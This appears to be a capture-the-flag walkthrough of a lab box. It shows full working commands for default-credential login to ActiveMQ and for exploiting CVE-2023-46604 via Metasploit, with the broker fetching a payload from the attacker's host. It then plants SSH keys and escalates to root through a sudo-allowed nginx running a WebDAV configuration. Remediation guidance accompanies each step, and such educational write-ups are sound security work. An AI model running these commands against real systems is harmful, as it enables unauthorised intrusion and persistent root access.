← all walkthroughs

Broker

Linux· Easy
owned
2026-07-08
time to own
11m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

The target runs Apache ActiveMQ with an unusually wide surface — a Jetty console, MQTT, STOMP and the OpenWire binary protocol — and the console still answers to the password it shipped with. That login is worth having in its own right, and it is also how the version gets confirmed: the broker's own management bean reports 5.15.15, which is inside the range affected by CVE-2023-46604.

That flaw is in OpenWire, not in the console, and it needs no credential at all: a crafted exception packet makes the broker instantiate a class from an XML file it fetches, which is remote code execution as the activemq service account. Rather than hold an unstable session over a deserialisation bug, I used a single command to append my own key to that account's authorized_keys, and carried on over SSH.

Root is a sudo rule: activemq may run nginx as root, and nginx takes its entire configuration from -c. The configuration is the payload — a server running as root with WebDAV writes enabled and /root/.ssh as its document root — so a PUT drops an authorized_keys file into root's home, and the next SSH session is root's.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Some commands also carry a value in angle brackets — <your-public-key> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1ReconnaissanceService and version enumeration (T1046)
Mapped all exposed services and fingerprinted Apache ActiveMQ
A version scan finds a broker rather than a web server: a Jetty console on 8161, MQTT on 1883, STOMP on 61613 and the OpenWire binary protocol on 61616, which is the one that matters. OpenWire is how ActiveMQ clients talk to the broker, and it is the protocol the deserialisation flaw lives in. The scan does not name a version for it, which is the ordinary case for a binary protocol. The console is what will answer that question.
The scan recorded a Jetty 9.4.39 HTTP console on 8161 alongside MQTT, STOMP and the OpenWire transport on 61616.
Exact commands 1
shell

The whole range: a broker listens on several ports and the interesting one is not the console.

$ nmap -sV -Pn -p- --min-rate 5000 $TARGET
2Credential DiscoveryDefault credentials (T1078.001)
Logged into the console with the password it shipped with, and read the version off its own management bean
The console asks for HTTP Basic authentication and accepts the pair documented in ActiveMQ's own getting-started guide. That is a finding by itself — anyone on the network administers the broker — and it also answers the version question, because the console exposes Jolokia, a JMX bridge that will read management beans over HTTP. The broker's own BrokerVersion attribute reports 5.15.15. Worth being clear about what this login is not: the flaw exploited next is in OpenWire on 61616 and needs no credential. The console gives certainty about the version before firing anything at the broker.
The console returned HTTP 401 with the ActiveMQRealm challenge and then HTTP 200 for the documented default pair; a Jolokia read of the broker's BrokerVersion attribute reported 5.15.15, which the Metasploit module's check against 61616 agreed with.
Exact commands 3
shell

Confirm the console requires authentication (expect 401 + ActiveMQRealm).

$ curl -sS -i http://$TARGET:8161/admin/
shell

Test the vendor default password; HTTP 200 confirms successful login.

$ curl -sS -i -u admin:admin http://$TARGET:8161/admin/index.jsp
shell

Jolokia reads JMX over HTTP. The Origin header is required; without it the bridge refuses the request.

$ curl -sS -u admin:admin -H "Origin: http://$TARGET:8161" "http://$TARGET:8161/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost/BrokerVersion"
FixReplace the factory-default ActiveMQ administrative credentials immediately after installationCritical
WeaknessThe ActiveMQ web console was reachable on port 8161 using the vendor-documented default username and password (admin / admin). Unauthorised users routinely test default credentials as the first step after fingerprinting a service, meaning this box was compromised the moment it was networked.
FixChange the admin password in activemq's jetty-realm.properties (or the equivalent credential store for your version) before the service is exposed to any network. Enforce a strong, unique password of at least 16 characters. Additionally, restrict access to port 8161 to a dedicated management network or VPN — the administrative console should never be reachable from untrusted hosts.
3ExploitationDeserialization of untrusted data / RCE (CVE-2023-46604, CWE-502)
Exploited CVE-2023-46604 as a one-shot command to plant an SSH key
ActiveMQ 5.15.15 is affected by CVE-2023-46604: the OpenWire transport instantiates a class named in a crafted ExceptionResponse packet, so pointing it at a Spring ClassPathXmlApplicationContext XML file served from my own machine turns into Runtime.exec on the broker. The Metasploit module drives this, and the Unix Compatible target with a generic command payload runs one command rather than opening a session — which is the right shape here, because an ephemeral session over a deserialization bug is not something to build the rest of the engagement on. The command appends my own public key to the service account's authorized_keys, and SSH takes it from there.
The module confirmed Apache ActiveMQ 5.15.15 and ran the payload as the activemq service account (uid 1000) on Ubuntu 22.04.3; the appended key then authenticated over SSH.
Exact commands 3
shell

The key the one-shot command will authorise.

$ ssh-keygen -t ed25519 -N '' -f /tmp/broker_key
shell

TARGET 2 is Unix Compatible and cmd/unix/generic runs a single command. SRVHOST is where the module serves the XML the broker fetches and instantiates.

$ msfconsole -q -x "use exploit/multi/misc/apache_activemq_rce_cve_2023_46604; set RHOSTS $TARGET; set TARGET 2; set PAYLOAD cmd/unix/generic; set CMD 'mkdir -p /home/activemq/.ssh && echo <your-public-key> >> /home/activemq/.ssh/authorized_keys && chmod 600 /home/activemq/.ssh/authorized_keys'; set SRVHOST $ATTACKER_IP; run"
shell

A stable shell on the key just planted, rather than a session that dies with the exploit.

$ ssh -i /tmp/broker_key -o StrictHostKeyChecking=no activemq@$TARGET 'id'
FixPatch Apache ActiveMQ to a version that is not affected by CVE-2023-46604Critical
WeaknessActiveMQ 5.15.15 contains a critical unauthenticated remote code execution vulnerability in its OpenWire protocol deserializer. Any host that can reach port 61616 can execute arbitrary operating-system commands as the broker process without supplying credentials.
FixUpgrade Apache ActiveMQ to version 5.15.16, 5.16.7, 5.17.6, or 5.18.3 or later — the first releases in each branch to include the CVE-2023-46604 patch. If an immediate upgrade is not possible, block external access to port 61616 at the host firewall or network perimeter so only trusted broker peers can connect, and place the administrative console (8161) behind a VPN or dedicated management network.
4FootholdOS command shell via deserialization (T1059.004)
Verified shell access and captured user flag as the activemq service account
The SSH session connected back as the 'activemq' operating-system account — the low-privilege user under which the ActiveMQ broker process runs. The user flag was accessible in activemq's home directory, confirming a working interactive session on the target host.
The SSH session opened on the planted key ran as the activemq service account, uid 1000 on Ubuntu 22.04.3, and user.txt was read from /home/activemq/user.txt.
Exact commands 1
shell

Uid 1000 is the activemq service account -> <user.txt>

$ ssh -i /tmp/broker_key activemq@$TARGET 'id; hostname; cat /home/activemq/user.txt'
5Local EnumerationSudo policy enumeration (T1053 / T1548.003)
Discovered that the activemq account can run nginx as root via sudo
Standard post-exploitation privilege-escalation enumeration revealed that the activemq account had a password-free sudo rule permitting it to launch the nginx binary as root. This is an unnecessary capability: a message-broker service account has no legitimate reason to start a web server. The rule was visible in the sudo policy without supplying a password.
Exact commands 1
shell

List sudo privileges for the activemq account; look for NOPASSWD entries.

$ sudo -l
(root) NOPASSWD: /usr/sbin/nginx
FixRemove the unrestricted sudo rule that allows the activemq account to run nginx as rootHigh
WeaknessThe activemq service account could run /usr/sbin/nginx as root with no password and no restriction on its flags. nginx takes its whole configuration from -c, so the rule does not grant the ability to serve web pages — it grants everything a root process can do with a configuration file, including running as root, choosing any directory as a document root, and enabling WebDAV writes into it. Here that was an authorized_keys file in /root/.ssh; it could equally have been a cron job or a sudoers drop-in.
FixDelete the NOPASSWD nginx rule from /etc/sudoers (or the relevant drop-in under /etc/sudoers.d/). If nginx genuinely must be managed by the activemq account, use systemd with appropriate service permissions instead of sudo. Apply the principle of least privilege: service accounts should have no sudo rights beyond what their specific function requires, and 'run any binary as root' rules should never exist in production.
6Privilege EscalationAbuse elevation control mechanism: sudo (T1548.003)
Wrote a key into root's home through a sudo nginx configured for WebDAV
The nginx on this host is built with the WebDAV module, which nginx -V confirms, and activemq may run nginx as root without a password. Nginx takes its whole configuration from -c, so the config is the payload: a server block running as root, document root /root/.ssh, and dav_methods PUT. Started that way, nginx will write a file into root's .ssh directory on request — so PUT an authorized_keys containing my own public key, and root accepts it over SSH. Writing a key is worth more than reading a flag: it is a shell rather than a string.
Nginx -V listed --with-http_dav_module; sudo -n nginx -c /tmp/nginx_rootdav.conf started a root-owned listener with document root /root/.ssh; a PUT placed authorized_keys, and SSH as root returned uid=0(root).
Exact commands 5
shell

The WebDAV module has to be compiled in; this is what makes the config below work.

$ nginx -V 2>&1 | tr ' ' '\n' | grep -i dav
shell

The whole configuration comes from -c, so user root and the document root are mine to choose.

$ cat > /tmp/nginx_rootdav.conf << 'EOF'
user root;
events {}
http {
  server {
    listen 127.0.0.1:8888;
    root /root/.ssh;
    dav_methods PUT;
    create_full_put_path on;
    dav_access user:rw;
  }
}
EOF
shell

The sudo rule is passwordless, which -n proves without prompting.

$ sudo -n nginx -c /tmp/nginx_rootdav.conf
shell

Nginx writes the file as root, into root's own .ssh directory.

$ curl -sS -X PUT --data-binary @/tmp/broker_key.pub http://127.0.0.1:8888/authorized_keys
shell

Log in on the key just authorised -> <root.txt>

$ ssh -i /tmp/broker_key root@$TARGET 'id; cat /root/root.txt'
uid=0(root)

Attack patterns used

The transferable techniques behind this compromise.

Insecure DeserializationWeb · Service RCET1190

What it is

Applications that deserialize externally controlled data can be driven into executing code, by two routes that look alike and are not. In Java, .NET and PHP the payload is a 'gadget chain' — a graph of classes already on the classpath whose side effects during reconstruction add up to execution; ysoserial and ysoserial.net build them, and ViewState, Java RMI/JMX and PHP's unserialize() are the usual entry points. In Python the object names its own constructor: pickle calls whatever __reduce__ returns, so a payload is a few lines that hand back os.system and its argument, with no gadget hunting at all. PyYAML's yaml.load without SafeLoader is the same primitive wearing a different name.

Why it works

A deserializer reconstructs an arbitrary object graph and invokes methods on it before any application code has seen the input. Remediate by not deserializing untrusted data natively at all — prefer a data format that carries no types, such as JSON parsed into known structures — and where that is impossible, sign or encrypt the serialized state and enforce a strict type allow-list. In Python that means json over pickle and yaml.safe_load over yaml.load.

Read more

Public Exploit / Metasploit ModuleService RCET1210

What it is

Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.

Why it works

Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.

Read more

Exposed services

22/tcp
80/tcp
1883/tcp
8161/tcp
61613/tcp
61614/tcp
61616/tcp